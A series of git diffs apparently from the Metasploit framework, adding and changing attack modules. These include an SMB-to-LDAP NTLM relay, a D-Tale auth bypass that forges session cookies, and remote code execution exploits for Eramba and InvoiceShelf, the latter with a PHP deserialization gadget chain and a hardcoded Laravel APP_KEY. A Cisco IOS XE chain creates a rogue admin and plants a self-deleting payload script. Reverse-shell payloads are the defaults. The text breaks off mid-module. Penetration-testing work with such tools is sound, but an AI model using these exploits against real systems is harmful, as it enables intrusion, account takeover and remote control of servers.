@@ -8,6 +8,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
include Msf::Exploit::Deprecated
|
||||
moved_from 'auxiliary/scanner/sonicwall/login_scanner'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
@@ -47,9 +50,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: datastore['HttpClientTimeout']
|
||||
connection_timeout: datastore['HttpClientTimeout'],
|
||||
domain: datastore['DOMAIN']
|
||||
)
|
||||
Metasploit::Framework::LoginScanner::SonicWall.new(configuration, datastore['DOMAIN'])
|
||||
Metasploit::Framework::LoginScanner::SonicWall.new(configuration)
|
||||
end
|
||||
|
||||
def process_credential(credential_data)
|
||||
@@ -0,0 +1,122 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SMB::RelayServer
|
||||
include Msf::Auxiliary::CommandShell
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Microsoft Windows SMB to LDAP Relay',
|
||||
'Description' => %q{
|
||||
This module supports running an SMB server which validates credentials, and
|
||||
then attempts to execute a relay attack against an LDAP server on the
|
||||
configured RELAY_TARGETS hosts.
|
||||
|
||||
It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check
|
||||
(MIC). As a result, this will only work with NTLMv1. The module takes care of
|
||||
removing the relevant flags to bypass signing.
|
||||
|
||||
If the relay succeeds, an LDAP session to the target will be created. This can
|
||||
be used by any modules that support LDAP sessions, like `admin/ldap/rbcd` or
|
||||
`auxiliary/gather/ldap_query`.
|
||||
|
||||
Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes.
|
||||
SMBv1 is not supported - please see https://github.com/rapid7/metasploit-framework/issues/16261
|
||||
},
|
||||
'Author' => [
|
||||
'Spencer McIntyre', # This module & LDAP relay library
|
||||
'Christophe De La Fuente' # This module & SMB relay updates
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultTarget' => 0,
|
||||
'Actions' => [
|
||||
[ 'CREATE_LDAP_SESSION', { 'Description' => 'Create an LDAP session' } ]
|
||||
],
|
||||
'PassiveActions' => [ 'CREATE_LDAP_SESSION' ],
|
||||
'DefaultAction' => 'CREATE_LDAP_SESSION',
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(389)
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),
|
||||
OptInt.new('SessionKeepalive', [true, 'Time (in seconds) for sending protocol-level keepalive messages', 10 * 60])
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('RHOSTS')
|
||||
end
|
||||
|
||||
def relay_targets
|
||||
Msf::Exploit::Remote::SMB::Relay::TargetList.new(
|
||||
:ldap, # TODO: look into LDAPs
|
||||
datastore['RPORT'],
|
||||
datastore['RELAY_TARGETS'],
|
||||
datastore['TARGETURI'],
|
||||
randomize_targets: datastore['RANDOMIZE_TARGETS'],
|
||||
drop_mic_only: true,
|
||||
drop_mic_and_sign_key_exch_flags: true
|
||||
)
|
||||
end
|
||||
|
||||
def check_options
|
||||
unless framework.features.enabled?(Msf::FeatureManager::LDAP_SESSION_TYPE)
|
||||
fail_with(Failure::BadConfig, 'This module requires the `ldap_session_type` feature to be enabled. Please enable this feature using `features set ldap_session_type true`')
|
||||
end
|
||||
if datastore['RHOSTS'].present?
|
||||
print_warning('Warning: RHOSTS datastore value has been set which is not supported by this module. Please verify RELAY_TARGETS is set correctly.')
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
check_options
|
||||
|
||||
start_service
|
||||
print_status('Server started.')
|
||||
|
||||
# Wait on the service to stop
|
||||
service.wait if service
|
||||
end
|
||||
|
||||
def on_relay_success(relay_connection:, relay_identity:)
|
||||
print_good('Relay succeeded')
|
||||
session_setup(relay_connection, relay_identity)
|
||||
rescue StandardError => e
|
||||
elog('Failed to setup the session', error: e)
|
||||
end
|
||||
|
||||
# @param [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::LDAP::Client] relay_connection
|
||||
# @return [Msf::Sessions::LDAP]
|
||||
def session_setup(relay_connection, relay_identity)
|
||||
client = relay_connection.create_ldap_client
|
||||
ldap_session = Msf::Sessions::LDAP.new(
|
||||
relay_connection.socket,
|
||||
{
|
||||
client: client,
|
||||
keepalive_seconds: datastore['SessionKeepalive']
|
||||
}
|
||||
)
|
||||
domain, _, username = relay_identity.partition('\\')
|
||||
datastore_options = {
|
||||
'DOMAIN' => domain,
|
||||
'USERNAME' => username
|
||||
}
|
||||
start_session(self, nil, datastore_options, false, ldap_session.rstream, ldap_session)
|
||||
end
|
||||
end
|
||||
@@ -33,6 +33,9 @@ class MetasploitModule < Msf::Encoder
|
||||
|
||||
#
|
||||
# Encodes the payload
|
||||
# All unnecessary spaces from your payload inside the () are removed to avoid shell POSIX command lauguage conflicts
|
||||
# The only things allowed after compound commands are redirections, shell keywords, and the various command separators
|
||||
# such as (;, &, |, &&, ||)
|
||||
#
|
||||
def encode_block(state, buf)
|
||||
return buf if (buf.bytes & state.badchars.bytes).empty?
|
||||
@@ -48,7 +51,7 @@ class MetasploitModule < Msf::Encoder
|
||||
when 'base64'
|
||||
raise EncodingError if (state.badchars.bytes & '(|)'.bytes).any?
|
||||
|
||||
base64_decoder = '(base64 --decode || base64 -d)'
|
||||
base64_decoder = '(base64 --decode||base64 -d)'
|
||||
when 'base64-long'
|
||||
base64_decoder = 'base64 --decode'
|
||||
when 'base64-short'
|
||||
@@ -58,9 +61,9 @@ class MetasploitModule < Msf::Encoder
|
||||
else
|
||||
# find a decoder at runtime if we can use the necessary characters
|
||||
if (state.badchars.bytes & '(|)>/&'.bytes).empty?
|
||||
base64_decoder = '((command -v base64 >/dev/null && (base64 --decode || base64 -d)) || (command -v openssl >/dev/null && openssl enc -base64 -d))'
|
||||
base64_decoder = '((command -v base64>/dev/null&&(base64 --decode||base64 -d))||(command -v openssl>/dev/null&&openssl enc -base64 -d))'
|
||||
elsif (state.badchars.bytes & '(|)'.bytes).empty?
|
||||
base64_decoder = '(base64 --decode || base64 -d)'
|
||||
base64_decoder = '(base64 --decode||base64 -d)'
|
||||
else
|
||||
base64_decoder = 'openssl enc -base64 -d'
|
||||
end
|
||||
|
||||
@@ -9,14 +9,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
# forge a cookie in case there was authentication enabled:
|
||||
# import hashlib
|
||||
# from itsdangerous import URLSafeTimedSerializer # pip install itsdangerous
|
||||
# signer_kwargs = { "key_derivation" : "hmac", "digest_method" : staticmethod(hashlib.sha1) }
|
||||
# ser = URLSafeTimedSerializer("Dtale", salt="cookie-session", signer_kwargs=signer_kwargs)
|
||||
# session = ser.dumps({"logged_in" : True, "username" : "whatever"})
|
||||
SESSION = 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoid2hhdGV2ZXIifQ.Z8Jdmw.zUb6b2uEm9ZDKWIOsw2A1xLIuLc'
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
@@ -36,6 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'References' => [
|
||||
['CVE', '2024-3408'],
|
||||
['CVE', '2025-0655'],
|
||||
['URL', 'https://huntr.com/bounties/57a06666-ff85-4577-af19-f3dfb7b02f91'],
|
||||
['URL', 'https://huntr.com/bounties/f63af7bd-5438-4b36-a39b-4c90466cff13'],
|
||||
],
|
||||
'Platform' => %w[linux],
|
||||
@@ -72,12 +65,20 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
)
|
||||
end
|
||||
|
||||
def generate_dtale_jwt
|
||||
@session = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign({ 'logged_in' => true, 'username' => rand_text_alpha(8) }, 'Dtale')
|
||||
# Need wait, otherwise auth bypass fails
|
||||
sleep 2
|
||||
end
|
||||
|
||||
def check
|
||||
generate_dtale_jwt
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'dtale/popup/upload'),
|
||||
'headers' => {
|
||||
'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie
|
||||
'Cookie' => "session=#{@session}" # Set the JWT token as a cookie
|
||||
}
|
||||
})
|
||||
return Exploit::CheckCode::Unknown unless res&.code == 200
|
||||
@@ -95,6 +96,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def exploit
|
||||
generate_dtale_jwt unless @session
|
||||
|
||||
# Create a new MIME message (multipart form data)
|
||||
mime = Rex::MIME::Message.new
|
||||
# Add the file part to the body
|
||||
@@ -116,7 +119,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
|
||||
'data' => mime.to_s,
|
||||
'headers' => {
|
||||
'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie
|
||||
'Cookie' => "session=#{@session}" # Set the JWT token as a cookie
|
||||
}
|
||||
})
|
||||
@data_id = res&.get_json_document&.fetch('data_id', nil)
|
||||
@@ -130,7 +133,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'settings' => { 'enable_custom_filters' => true }.to_json
|
||||
},
|
||||
'headers' => {
|
||||
'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie
|
||||
'Cookie' => "session=#{@session}" # Set the JWT token as a cookie
|
||||
}
|
||||
})
|
||||
fail_with(Failure::Unknown, 'Failed to update the settings.') unless res&.get_json_document&.fetch('success', nil)
|
||||
@@ -144,7 +147,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'save' => true
|
||||
},
|
||||
'headers' => {
|
||||
'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie
|
||||
'Cookie' => "session=#{@session}" # Set the JWT token as a cookie
|
||||
}
|
||||
})
|
||||
print_status('Successfully executed the payload.')
|
||||
@@ -161,7 +164,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'dataIds' => @data_id
|
||||
},
|
||||
'headers' => {
|
||||
'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie
|
||||
'Cookie' => "session=#{@session}" # Set the JWT token as a cookie
|
||||
}
|
||||
})
|
||||
print_status("Failed to clean up data_id: #{@data_id}") unless res&.get_json_document&.fetch('success', nil)
|
||||
|
||||
@@ -0,0 +1,135 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Eramba (up to 3.19.1) Authenticated Remote Code Execution Module',
|
||||
'Description' => %q{
|
||||
This module exploits a remote code execution vulnerability in Eramba.
|
||||
An authenticated user can execute arbitrary commands on the server by
|
||||
exploiting the path parameter in the download-test-pdf endpoint.
|
||||
Eramba debug mode has to be enabled.
|
||||
},
|
||||
'Author' => [
|
||||
'Trovent Security GmbH',
|
||||
'Sergey Makarov', # vulnerability discovery and exploit
|
||||
'Stefan Pietsch', # CVE and Advisory
|
||||
'Niklas Rubel', # MSF module
|
||||
'msutovsky-r7' # MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
},
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Targets' => [
|
||||
[
|
||||
'Command',
|
||||
{
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
||||
}
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
|
||||
'References' => [
|
||||
['CVE', '2023-36255'],
|
||||
['URL', 'https://trovent.github.io/security-advisories/TRSA-2303-01/TRSA-2303-01.txt']
|
||||
],
|
||||
'DisclosureDate' => '2023-08-01',
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 8443,
|
||||
'SSL' => true
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'The base path to Eramba', '/']),
|
||||
OptString.new('USERNAME', [ true, 'The username to authenticate with', 'admin']),
|
||||
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'admin']),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('/login')
|
||||
})
|
||||
|
||||
return Exploit::CheckCode::Unknown unless res&.code == 200
|
||||
|
||||
html_body = res.get_html_document
|
||||
version_html = html_body.at('//p[contains(text(), "App version")]/strong')&.text
|
||||
return Exploit::CheckCode::Unknown unless version_html
|
||||
|
||||
return Exploit::CheckCode::Safe('Debug mode not enabled.') unless html_body.at('input[@name="_Token[debug]"]')
|
||||
|
||||
version = Rex::Version.new(version_html)
|
||||
|
||||
return Exploit::CheckCode::Appears("Eramba Version #{version} is affected.") if version <= Rex::Version.new('3.19.1')
|
||||
|
||||
return Exploit::CheckCode::Safe("Eramba Version #{version} is not affected.")
|
||||
end
|
||||
|
||||
def exploit
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('/login'),
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
html_body = res.get_html_document
|
||||
csrf_token = html_body.at('input[@name="_csrfToken"]')
|
||||
token_fields = html_body.at('input[@name="_Token[fields]"]')
|
||||
token_unlocked = html_body.at('input[@name="_Token[unlocked]"]')
|
||||
token_debug = html_body.at('input[@name="_Token[debug]"]')
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Couldn\'t parse tokens') unless token_fields && token_unlocked && token_debug && csrf_token
|
||||
|
||||
res = send_request_cgi!({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('/login'),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'_csrfToken' => csrf_token['value'],
|
||||
'login' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'_Token[fields]' => token_fields['value'],
|
||||
'_Token[unlocked]' => token_unlocked['value'],
|
||||
'_Token[debug]' => token_debug['value']
|
||||
}
|
||||
})
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to login') unless res&.code == 200 && res.body.include?('Landing Dashboard')
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('/settings/download-test-pdf'),
|
||||
'vars_get' =>
|
||||
{
|
||||
'path' => payload.encoded.to_s
|
||||
}
|
||||
})
|
||||
end
|
||||
end
|
||||
@@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2024-55555'],
|
||||
['URL', 'https://attackerkb.com/topics/xxxxx/cve-2024-55555'],
|
||||
['URL', 'https://attackerkb.com/topics/QtMS7cIExH/cve-2024-55555'],
|
||||
['URL', 'https://www.synacktiv.com/advisories/invoiceninja-unauthenticated-remote-command-execution-when-appkey-known']
|
||||
],
|
||||
'DisclosureDate' => '2024-12-13',
|
||||
|
||||
@@ -0,0 +1,171 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::LaravelCryptoKiller
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'InvoiceShelf unauthenticated PHP Deserialization Vulnerability',
|
||||
'Description' => %q{
|
||||
InvoiceShelf is an open-source web & mobile app that helps you track expenses, payments, create professional
|
||||
invoices & estimates and is based on the PHP framework Laravel.
|
||||
InvoiceShelf has a Remote Code Execution vulnerability that allows remote unauthenticated attackers to conduct
|
||||
PHP deserialization attacks. This is possible when the `SESSION_DRIVER=cookie` option is set on the default
|
||||
InvoiceShelf .env file meaning that any session will be stored as a ciphered value inside a cookie.
|
||||
These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using
|
||||
Laravel's encrypt() function.
|
||||
An attacker in possession of the `APP_KEY` would therefore be able to retrieve the cookie, uncipher it and modify
|
||||
the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve
|
||||
remote command execution. InvoiceShelf version `1.3.0` and lower is vulnerable.
|
||||
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
|
||||
potentially resulting in complete system compromise, data exfiltration, or unauthorized access
|
||||
to sensitive information.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
|
||||
'Rémi Matasse', # SynActiv Research Team - discovery of the vulnerability
|
||||
'Mickaël Benassouli' # SynActiv Research Team - discovery of the vulnerability
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2024-55556'],
|
||||
['URL', 'https://attackerkb.com/topics/25C8UQRPhx/cve-2024-55556'],
|
||||
['URL', 'https://www.synacktiv.com/advisories/crater-invoice-unauthenticated-remote-command-execution-when-appkey-known']
|
||||
],
|
||||
'DisclosureDate' => '2024-12-13',
|
||||
'Platform' => ['php', 'unix', 'linux'],
|
||||
'Arch' => [ARCH_PHP, ARCH_CMD],
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
[
|
||||
'PHP',
|
||||
{
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Type' => :php,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'Unix/Linux Command',
|
||||
{
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'SSL' => false,
|
||||
'RPORT' => 90
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [ true, 'The InvoiceShelf endpoint URL.', '/' ]),
|
||||
OptString.new('APP_KEY', [ true, 'Laravel APP_KEY.', 'base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=']),
|
||||
OptPath.new('BRUTEFORCE', [false, 'File with a list of APP_KEYs, one per line for a bruteforce attack.', nil])
|
||||
])
|
||||
end
|
||||
|
||||
def execute_command(laravel_cookie_cipher, laravel_cookie, laravel_session_cookie, _opts = {})
|
||||
laravel_cookie_id = laravel_cookie.split('=')[0]
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'login'),
|
||||
'cookie' => "#{laravel_session_cookie}; #{laravel_cookie_id}=#{laravel_cookie_cipher};",
|
||||
'ctype' => 'application/x-www-form-urlencoded'
|
||||
})
|
||||
end
|
||||
|
||||
def check
|
||||
print_status("Checking if #{peer} can be exploited.")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'app', 'version')
|
||||
})
|
||||
return CheckCode::Unknown('No valid response received from target.') unless res&.code == 200
|
||||
|
||||
# check if target is running the InvoiceShelf platform
|
||||
# parse json response and get the version
|
||||
res_json = res.get_json_document
|
||||
version_number = res_json['version'] unless res_json.blank?
|
||||
return CheckCode::Safe('No InvoiceShelf platform found.') if version_number.nil?
|
||||
|
||||
if Rex::Version.new(version_number) <= Rex::Version.new('1.3.0')
|
||||
return CheckCode::Appears("InvoiceShelf #{version_number}")
|
||||
end
|
||||
|
||||
CheckCode::Safe("InvoiceShelf #{version_number}")
|
||||
end
|
||||
|
||||
def exploit
|
||||
# lets first check if decryption is successful with the APP_KEY by decrypting the Laravel cookie.
|
||||
# option APP_KEY is either a single entry of a file with APP_KEYS using the [file:] identifier
|
||||
cipher_mode = 'AES-256-CBC'
|
||||
res = send_request_cgi!({
|
||||
'method' => 'GET',
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'uri' => normalize_uri(target_uri.path, 'login')
|
||||
})
|
||||
fail_with(Failure::Unknown, 'No valid response received from target.') unless res&.code == 200
|
||||
|
||||
print_status('Lets check if the APP_KEY(s) is/are valid by decrypting the cookie.')
|
||||
print_status('Grabbing the cookies.')
|
||||
set_cookie = res.get_cookies
|
||||
fail_with(Failure::NotFound, 'No cookie found.') if set_cookie.nil?
|
||||
laravel_session_cookie = set_cookie.match(/laravel_session=([^;]+)/) # get laravel_session cookie
|
||||
laravel_cookie = set_cookie.match(/\w{40}=([^;]+)/) # search for the 40 alphanumeric cookie identifier
|
||||
fail_with(Failure::NotFound, 'No cookie found. Unable to check APP_KEY.') if laravel_session_cookie.nil? || laravel_cookie.nil?
|
||||
|
||||
if datastore['BRUTEFORCE']
|
||||
key_file = datastore['BRUTEFORCE']
|
||||
print_status("Starting bruteforce decryption with APP_KEYS listed in #{key_file}.")
|
||||
result = laravel_bruteforce_from_file(laravel_cookie[1], key_file, cipher_mode)
|
||||
fail_with(Failure::NotFound, "Bruteforce decryption failed. No valid APP_KEY found in file #{key_file}.") if result.nil?
|
||||
valid_app_key = result['key']
|
||||
unciphered_value = result['value']
|
||||
else
|
||||
result = laravel_decrypt(laravel_cookie[1], datastore['APP_KEY'], cipher_mode)
|
||||
fail_with(Failure::BadConfig, "Decryption with APP_KEY: #{datastore['APP_KEY']} failed.") if result.nil?
|
||||
valid_app_key = datastore['APP_KEY']
|
||||
unciphered_value = result
|
||||
end
|
||||
print_good("APP_KEY is valid: #{valid_app_key}")
|
||||
print_good("Unciphered value: #{unciphered_value}")
|
||||
|
||||
print_status('Generate an encrypted serialized cookie payload with our cracked APP_KEY.')
|
||||
pl = payload.encoded
|
||||
pl = "echo -n '#{Base64.strict_encode64(payload.encoded)}'|(base64 -d||openssl enc -base64 -d)|php" if target['Type'] == :php
|
||||
pl_len = pl.length
|
||||
laravel_payload = %(a:2:{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"\x00*\x00events";O:35:"Illuminate\\Database\\DatabaseManager":2:{s:6:"\x00*\x00app";a:1:{s:6:"config";a:2:{s:16:"database.default";s:6:"system";s:20:"database.connections";a:1:{s:6:"system";a:1:{i:0;s:#{pl_len}:"#{pl}";}}}}s:13:"\x00*\x00extensions";a:1:{s:6:"system";s:12:"array_filter";}}}i:7;i:7;})
|
||||
b64_laravel_payload = Base64.strict_encode64(laravel_payload)
|
||||
hash_value = unciphered_value.split('|')[0]
|
||||
laravel_cookie_cipher = laravel_encrypt_session_cookie(b64_laravel_payload, hash_value, valid_app_key, cipher_mode)
|
||||
fail_with(Failure::BadConfig, 'Laravel cookie encryption failed.') if laravel_cookie_cipher.nil?
|
||||
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
execute_command(laravel_cookie_cipher, laravel_cookie[0], laravel_session_cookie[0])
|
||||
end
|
||||
end
|
||||
@@ -43,6 +43,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
|
||||
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
|
||||
17.11.99SW
|
||||
|
||||
NOTE: The C8000v series appliance version 17.6.5 was observed to not be vulnerable to CVE-2023-20273, even
|
||||
though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
@@ -123,18 +126,18 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
# the Web UI exposed (which is the vulnerable component).
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('webui')
|
||||
'uri' => normalize_uri('webui', '/')
|
||||
)
|
||||
|
||||
return CheckCode::Unknown('Connection failed') unless res
|
||||
|
||||
# We look for one of two identifiers to ensure the request to /webui above returns something with Cisco in the content.
|
||||
# We look for one of two identifiers to ensure the request to /webui/ above returns something with Cisco in the content.
|
||||
if res.code != 200 || (!res.body.include?('Cisco Systems, Inc.') || !res.headers['Content-Security-Policy']&.include?('cisco.com'))
|
||||
return CheckCode::Unknown('Web UI not detected')
|
||||
end
|
||||
|
||||
# By here we know the target is the IOS XE Web UI. We leverage the vulnerability to pull out the version number,
|
||||
# so if this request succeeds, then we known the target is vulnerable.
|
||||
# so if this request succeeds, then we know the target is vulnerable.
|
||||
res = run_cli_command('show version', Mode::PRIVILEGED_EXEC)
|
||||
|
||||
# If the above request failed, then the target is safe.
|
||||
@@ -150,10 +153,35 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
version = Regexp.last_match(1)
|
||||
end
|
||||
|
||||
# Now we leverage both CVE-2023-20198 and CVE-2023-20273 to ensure the target is actually vulnerable. For example,
|
||||
# it has been observed that the C8000v series appliance version 17.6.5 is vulnerable to CVE-2023-20198, but not
|
||||
# vulnerable to CVE-2023-20273, even though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.
|
||||
# As this exploit chains both CVE-2023-20198 and CVE-2023-20273 together, the check routine must verify both CVEs
|
||||
# work as expected in order to return CheckCode::Vulnerable (i.e. we cannot solely rely on a version based check via
|
||||
# CVE-2023-20198).
|
||||
begin
|
||||
# NOTE: We pass verbose as false, because a check routine should not print status messages to the console, and
|
||||
# do_auth_bypass may print several status messages if verbose is true.
|
||||
do_auth_bypass(verbose: false) do |username, password|
|
||||
do_rce_check(username, password)
|
||||
end
|
||||
rescue Msf::Exploit::Failed => e
|
||||
# If either the auth bypass, or the command injection have failed (via a call to fail_with), we catch the
|
||||
# exception here and return a CheckCode of Safe to indicate this target is not vulnerable. We can provide
|
||||
# some additional context to the user by passing the Failure message to the CheckCode.
|
||||
return CheckCode::Safe("#{e}. #{version}")
|
||||
end
|
||||
|
||||
CheckCode::Vulnerable(version)
|
||||
end
|
||||
|
||||
def exploit
|
||||
do_auth_bypass(verbose: true) do |username, password|
|
||||
do_rce_payload(username, password)
|
||||
end
|
||||
end
|
||||
|
||||
def do_auth_bypass(verbose: true)
|
||||
admin_username = rand_text_alpha(8)
|
||||
admin_password = rand_text_alpha(8)
|
||||
|
||||
@@ -163,56 +191,87 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
begin
|
||||
print_status("Created privilege 15 user '#{admin_username}' with password '#{admin_password}'")
|
||||
print_status("Created privilege 15 user '#{admin_username}' with password '#{admin_password}'") if verbose
|
||||
|
||||
# Leverage CVE-2023-20273 to run an arbitrary OS commands and bootstrap a Metasploit payload...
|
||||
|
||||
# A shell script to execute the Metasploit payload. Will delete itself upon execution.
|
||||
bootstrap_script = "#!/bin/sh\nrm -f $0\n#{payload.encoded}"
|
||||
|
||||
# The location of our bootstrap script.
|
||||
bootstrap_file = "/tmp/#{Rex::Text.rand_text_alpha(8)}"
|
||||
|
||||
# NOTE: Rather than chaining the commands with a semicolon, we run them separately. This allows version 16.* and
|
||||
# 17.8 to work as expected. Version 16.* did not work when semi colons were present in the command line.
|
||||
|
||||
# Write a script to disk which will execute the Metasploit payload. We base64 encode it to avoid any problems
|
||||
# with restricted chars, and leverage openssl to decode and write the contents to disk.
|
||||
success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do
|
||||
next run_os_command("openssl enc -base64 -out #{bootstrap_file} -d <<< #{Base64.strict_encode64(bootstrap_script)}", admin_username, admin_password)
|
||||
end
|
||||
|
||||
unless success
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to plant the bootstrap file')
|
||||
end
|
||||
|
||||
# Make the script executable.
|
||||
